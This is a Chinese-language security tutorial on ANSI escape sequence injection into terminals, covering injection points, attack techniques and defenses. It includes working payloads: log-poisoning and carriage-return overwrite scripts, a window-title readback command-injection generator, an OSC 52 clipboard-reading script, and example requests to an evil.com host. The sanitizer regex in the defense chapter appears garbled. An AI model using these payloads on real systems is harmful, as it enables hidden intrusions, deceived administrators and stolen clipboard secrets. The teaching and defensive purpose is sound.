「幻核-2」你的终端在"叛变" ANSI 转义序列注入攻击
字数 3362
更新时间 2026-05-22 12:19:59

ANSI 转义序列注入攻击教学文档

本文档基于《「幻核-2」你的终端在"叛变" ANSI 转义序列注入攻击》一文内容整理,旨在系统性地介绍ANSI转义序列的原理、攻击手法与防御措施,为安全研究与系统运维提供详尽参考。

第一章:ANSI 转义序列概述

1.1 历史背景

ANSI转义序列起源于1978年DEC公司发布的VT100终端。该终端设计了一套以ESC(0x1B)开头的控制序列,用于实现彩色文字显示、光标移动、清屏等功能。近半个世纪后,现代终端模拟器仍保留了对这些序列的解析能力。

1.2 核心设计缺陷

终端模拟器本质上是一个状态机,它逐字节读取输入流:

  • 遇到普通字符:直接渲染显示。
  • 遇到0x1B(ESC):进入转义序列解析模式。

根本性问题在于:终端模拟器通过PTY(伪终端)接收数据,但它不区分“普通数据输出”与“控制指令”。这种数据平面与控制平面的混合,为攻击提供了基础。

第二章:ANSI 转义序列类型与功能

终端根据ESC字符后跟的不同字符,将转义序列分为以下几大类:

类型 格式 功能示例 HEX 字节示例
CSI ESC [ <params> <letter> \e[2J 清屏 / \e[6n 查询光标位置 1b 5b 32 4a / 1b 5b 36 6e
OSC ESC ] <n> ; <data> BEL \e]2;title\a 设置窗口标题 1b 5d 32 3b 74 69 74 6c 65 07
DCS ESC P <data> ST \eP$qm\e\ 查询图形渲染状态 1b 50 24 71 6d 1b 5c
SGR ESC [ <n> m \e[31m 红色文字 / \e[8m 隐藏文字 1b 5b 33 31 6d / 1b 5b 38 6d
单字符 ESC <char> \ec 完全重置终端 1b 63
控制字符 单字节 0x00-0x1F \r 回车(光标移到行首) 0d

第三章:攻击面与注入点

攻击者无需直接控制终端,仅需在数据流的上游注入恶意字节序列即可。常见注入点包括:

  1. HTTP 日志注入

    • 手法:发送包含转义序列的HTTP请求,如 GET /\x1b[2J HTTP/1.1
    • 效果:Web服务器(如Apache/Nginx)将原始字节写入access.log。管理员使用cat查看日志时,终端执行清屏。
  2. SSH 用户名注入

    • 手法:以 \x1b]2;evil\a 作为用户名尝试SSH登录。
    • 效果syslog记录该用户名,管理员查看auth.log时触发终端窗口标题篡改。
  3. 恶意文件名

    • 手法:创建名为 $‘\e[31mVIRUS\e[0m’ 的文件。
    • 效果:用户执行ls时,终端会以红色显示“VIRUS”字样,或产生更恶劣的视觉效果。
  4. Kubernetes 终止日志

    • 手法:Pod向/dev/termination-log写入转义序列。
    • 效果:运维执行kubectl describe pod查看日志时,终端被劫持。
  5. Python HTTP Server

    • 手法python3 -m http.server 将请求路径原样打印。访问 /?%1b[2J 即可注入。
    • 效果:启动服务器的终端会执行清屏。
  6. curl / wget 输出

    • 手法:恶意服务器在HTTP响应体中嵌入转义序列。
    • 效果:用户执行 curl http://evil.com,输出直接送入终端解析执行。

第四章:核心攻击手法详解

4.1 日志投毒(Log Poisoning)

目标:篡改或隐藏日志内容,欺骗管理员。
原理:在日志文件中注入 \e[2J(清屏)和 \e[H(光标归位)序列。当管理员cat查看时,终端会先渲染真实日志,然后立即清屏并将光标移至左上角,最后显示攻击者后续追加的伪造“正常”日志,从而掩盖真实攻击痕迹。
关键脚本

#!/bin/bash
LOG_FILE="/tmp/demo_app.log"
# 1. 写入真实攻击日志
echo “[CRITICAL]: Reverse shell established…” >> “$LOG_FILE”
# 2. 注入控制序列
printf ‘\e[2J\e[H’ >> “$LOG_FILE”
# 3. 写入伪造的正常日志
echo “[INFO]: 0 errors in last 24 hours” >> “$LOG_FILE”

防御:使用 cat -vless 查看日志,可使控制字符可视化。

4.2 回车覆写(Carriage Return Overwrite)

目标:在同一行内覆盖输出,实现视觉欺骗。
原理:利用 \r (0x0D,回车) 将光标拉回当前行行首,后续输出会覆盖该行原有内容。结合 \e[2K(擦除整行)可实现完美替换。此手法可绕过 less -R 的过滤。
应用场景

  • 伪造下载源:使终端行显示合法URL,实际输出流中包含恶意URL。
  • 伪造哈希校验:在自动化脚本中,即使校验失败,也能瞬间覆盖为“OK”。
  • 隐藏进程:覆写pstop输出,将恶意进程伪装成系统进程。
    HTTP日志中的攻击示例
curl -s “http://target.local/login%0d%1b[2K192.168.1.1 - - …”

4.3 窗口标题回传RCE

目标:通过设置并查询终端窗口标题,实现远程命令执行。
攻击链

  1. 设置标题:注入 \e]2;<命令>;\a 序列,将恶意命令设置为终端窗口标题。
  2. 查询标题:注入 \e[21t 序列,向终端查询当前窗口标题。
  3. 回传执行:某些终端(如配置不当的xterm)在响应查询时,会将标题内容作为键盘输入回传到输入缓冲区。若标题中包含Shell命令,则可能被执行。
    关键Payload生成(Python)
import sys
ESC = \x1b
SET_TITLE = f{ESC}]2;
QUERY_TITLE = f{ESC}[21t
HIDE_TEXT = f{ESC}[8m # 隐藏文本,避免屏幕上显示Payload
payload = HIDE_TEXT.encode()
payload += f{SET_TITLE}; id > /tmp/poc; #{BEL}”.encode()
payload += QUERY_TITLE.encode()
sys.stdout.buffer.write(payload)

触发条件:管理员使用cat查看被投毒的日志文件。
防御:禁用终端的相关窗口操作。

4.4 DECRQSS 回显注入

目标:利用终端状态查询功能实现命令注入。
原理:DECRQSS(Device Control Request Status String)用于查询终端状态,格式为 \eP$q<参数>\e\。部分终端在构造响应时,会将请求中的<参数>原样嵌入响应。如果参数中包含换行符和Shell命令,则可能被注入执行。
关联漏洞:CVE-2022-45063 利用了类似的OSC 50(字体查询)响应机制,在Zsh的vi-mode下,通过BEL字符触发命令执行。

4.5 OSC 52 剪贴板窃取

目标:读取用户系统剪贴板中的敏感信息。
原理:OSC 52 转义序列允许应用程序与系统剪贴板交互。

  • 设置剪贴板\e]52;c;<base64_data>\a (普遍支持)
  • 读取剪贴板\e]52;c;?\a (部分终端默认支持)
    攻击脚本核心
# 切换终端到Raw模式,发送查询请求并捕获响应
tty.setraw(fd)
os.write(sys.stdout.fileno(), b\x1b]52;c;?\x07)
response = os.read(fd, 1024) # 尝试读取包含剪贴板内容的响应

防御:在终端配置中禁用OSC 52的读取功能。

第五章:防御与缓解措施

5.1 安全查看文件

绝对禁止直接使用 cat 查看不受信任的文件。 应使用以下命令:

# 1. 控制字符可视化(最常用)
cat -v suspicious.log
# 2. 使用 less 的安全模式(推荐)
less suspicious.log
# 3. 十六进制查看
hexdump -C suspicious.log | less
# 4. 过滤所有ESC字符
sed ‘s/\x1b//g’ suspicious.log | less
# 5. 设置别名(加入.bashrc)
alias cat=‘cat -v’

5.2 终端配置加固

  1. xterm 加固
    编辑 ~/.Xresources 文件:
    ! 禁用所有危险的窗口操作
    XTerm*allowWindowOps: false
    XTerm*disallowedWindowOps: 20,21,SetXprop
    
  2. tmux 加固
    编辑 ~/.tmux.conf 文件:
    # 防止转义序列穿透到宿主终端
    set -g allow-passthrough off
    

5.3 管道数据清洗

编写脚本对输出流进行过滤,移除所有ANSI转义序列和危险控制字符。

#!/usr/bin/env python3
import re, sys
ANSI_ESCAPE_RE = re.compile(r\x1b[
$$
][0-9;]*[A-Za-z]|
$$
.*?(?:\x07|\x1b\\)|P.*?\x1b\\|[()#].‘, re.DOTALL)
def sanitize(text):
    return ANSI_ESCAPE_RE.sub(““, text)
for line in sys.stdin:
    sys.stdout.write(sanitize(line))

用法:cat dirty.log | python3 sanitize.py > clean.log

第六章:总结与反思

ANSI转义序列攻击的本质是利用了终端“数据与控制指令同信道”的先天性设计缺陷。在VT100设计的时代,所有输入都被认为是可信的。然而,在现代计算环境中,终端需要处理来自网络、日志、外部文件等大量不可信来源的数据,这种信任模型已不再安全。

核心安全建议

  1. 零信任原则:永远假设你将要显示的数据流可能包含恶意控制序列。
  2. 工具化:使用 cat -v, less 等安全工具查看文件,并养成习惯。
  3. 环境加固:在终端和复用器(如tmux)的配置中,禁用非必要的交互功能。
  4. 纵深防御:在关键数据管道中部署过滤清洗脚本。

通过理解攻击原理、熟悉攻击手法并实施有效防御,可以显著降低因终端“叛变”而导致的数据泄露与系统失陷风险。

相似文章
相似文章
 全屏